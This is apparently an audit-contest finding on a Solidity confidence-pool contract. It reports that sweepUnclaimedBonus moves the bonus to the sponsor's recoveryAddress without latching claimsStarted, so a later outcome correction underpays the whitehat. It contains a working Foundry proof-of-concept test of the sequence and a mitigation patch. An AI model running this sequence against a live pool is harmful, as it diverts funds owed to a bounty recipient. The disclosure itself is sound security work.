FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

sweepUnclaimedBonus premature sweep under-pays whitehat on SURVIVED → CORRUPTED re-flag

Author Revealed upon completion

Root + Impact

Description

  • The moderator re-flag a pool's outcome until the first value-moving claim latches claimsStarted; the design ties this finality to value movement, so a correction (e.g. SURVIVED → good-faith CORRUPTED) is honored only while no funds have left the pool. Every value-moving entrypoint (claimSurvived, claimCorrupted, claimAttackerBounty, sweepUnclaimedCorrupted, claimExpired) sets claimsStarted = true.

  • sweepUnclaimedBonus is the sole exception: when riskWindowStart == 0 it transfers the entire accounted bonus (snapshotTotalBonus) to recoveryAddress and decrements totalBonus, but deliberately leaves claimsStarted == false. A subsequent, still-permitted correction to good-faith CORRUPTED then recomputes bountyEntitlement against the now-depleted totalBonus, so the named whitehat is paid the whole pool minus the already-swept bonus. (The entitlement recomputation itself is intentional — it prevents a MustClaimBountyFirst brick — so the root cause is the window staying open across the sweep, not the arithmetic.)

// flagOutcome: the correction window the sweep fails to close
if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
...
snapshotTotalBonus = totalBonus; // re-reads the depleted value
bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;
// sweepUnclaimedBonus: accounted bonus leaves, window stays open
if (totalEligibleStake == 0 || riskWindowStart == 0) {
@> totalBonus -= amount <= totalBonus ? amount : totalBonus; // accounted bonus is leaving
}
// Intentionally does NOT set claimsStarted.
@> stakeToken.safeTransfer(recoveryAddress, amount); // value moves, finality not latched

Risk

Likelihood:

  • Occurs when the registry reads CORRUPTED with no active-risk state ever observed by the pool (riskWindowStart == 0), the moderator's first flag is SURVIVED (an out-of-scope judgment that is later revised), and a sweepUnclaimedBonus call lands before the correction.

  • The sweep is permissionless and its beneficiary is the sponsor-controlled recoveryAddress, giving the sponsor a direct incentive to call it the moment SURVIVED is flagged; a single on-chain transaction reliably precedes a slow off-chain forensic correction.

Impact:

  • The named whitehat receives the pool principal only, short by the full swept bonus; the difference is permanently stranded at recoveryAddress and unrecoverable through the pool.

  • The loss is bounded only by snapshotTotalBonus, which is unbounded — the sponsor's own bonus contributions can be arbitrarily large.

Proof of Concept

Add the test code below to test/unit/SweepBonusReflagPoC.t.sol and run forge test --match-path "SweepBonusReflag" - Two runs, identical inputs (100 stake, 50 bonus, registry CORRUPTED, riskWindowStart == 0); the only difference is a single sweep between the flag and the correction. Both pass against the repo's mocks.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// @notice PoC: `sweepUnclaimedBonus` moves accounted bonus without closing the moderator's
/// re-flag window, so a legitimate SURVIVED -> good-faith CORRUPTED correction under-pays the
/// whitehat by exactly the swept bonus. Both tests share identical inputs (100 stake, 50 bonus,
/// registry CORRUPTED, riskWindowStart == 0); the ONLY difference is whether an unprivileged
/// `sweepUnclaimedBonus()` lands between the flag and the correction.
contract SweepBonusReflagPoC is BaseConfidencePoolTest {
uint256 constant STAKE = 100 * ONE;
uint256 constant BONUS = 50 * ONE;
function _setupCorruptedOutOfScopeThenSurvived() internal {
_stake(alice, STAKE);
_contributeBonus(carol, BONUS);
// Registry is CORRUPTED but no active-risk state was ever observed -> riskWindowStart == 0.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
// Moderator's first (mistaken) call: judges the breach out-of-scope -> SURVIVED.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool.riskWindowStart(), 0, "precondition: no risk window");
assertEq(pool.claimsStarted(), false, "precondition: re-flag window open");
}
/// Baseline: correction lands BEFORE any sweep. The whitehat receives the full pool (150).
function test_baseline_noSweep_attackerGetsFullPool() external {
_setupCorruptedOutOfScopeThenSurvived();
// Moderator corrects to good-faith CORRUPTED while the window is still open.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), STAKE + BONUS, "entitlement is the whole pool");
vm.prank(attacker);
pool.claimAttackerBounty();
assertEq(token.balanceOf(attacker), STAKE + BONUS, "whitehat paid stake + bonus");
assertEq(token.balanceOf(recovery), 0, "sponsor gets nothing");
}
/// Exploit: an unprivileged sweep lands between the flag and the correction. The accounted
/// bonus escapes to the sponsor's recoveryAddress, and the identical correction now under-pays
/// the whitehat by exactly BONUS — permanently, since the pool can no longer reach those funds.
function test_prematureSweep_attackerShortedByBonus() external {
_setupCorruptedOutOfScopeThenSurvived();
// Anyone (here: the sponsor via `alice`) sweeps the unearned bonus. The re-flag window
// stays open because `sweepUnclaimedBonus` intentionally does not set `claimsStarted`.
vm.prank(alice);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(recovery), BONUS, "bonus already left to sponsor");
assertEq(pool.claimsStarted(), false, "window still open despite value movement");
// The SAME correction the baseline honored in full.
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
assertEq(pool.bountyEntitlement(), STAKE, "entitlement silently shrank by the swept bonus");
vm.prank(attacker);
pool.claimAttackerBounty();
// The loss: whitehat gets STAKE instead of STAKE + BONUS; the missing BONUS sits at
// recoveryAddress, unrecoverable through the pool.
assertEq(token.balanceOf(attacker), STAKE, "whitehat short-changed by BONUS");
assertEq(token.balanceOf(recovery), BONUS, "diverted bonus stranded at sponsor");
}
}

Recommended Mitigation

Close the re-flag window whenever the sweep moves accounted bonus (the riskWindowStart == 0 / no-stakers branch that decrements totalBonus), while leaving the donation-only path open so a 1-wei donation cannot grief the window:

if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
+ // Accounted bonus is leaving the pool. Latch finality so a later SURVIVED -> CORRUPTED
+ // correction reverts OutcomeAlreadySet instead of silently under-paying against funds
+ // that are already gone. Donation-only sweeps (the else branch) leave the window open.
+ if (!claimsStarted) claimsStarted = true;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!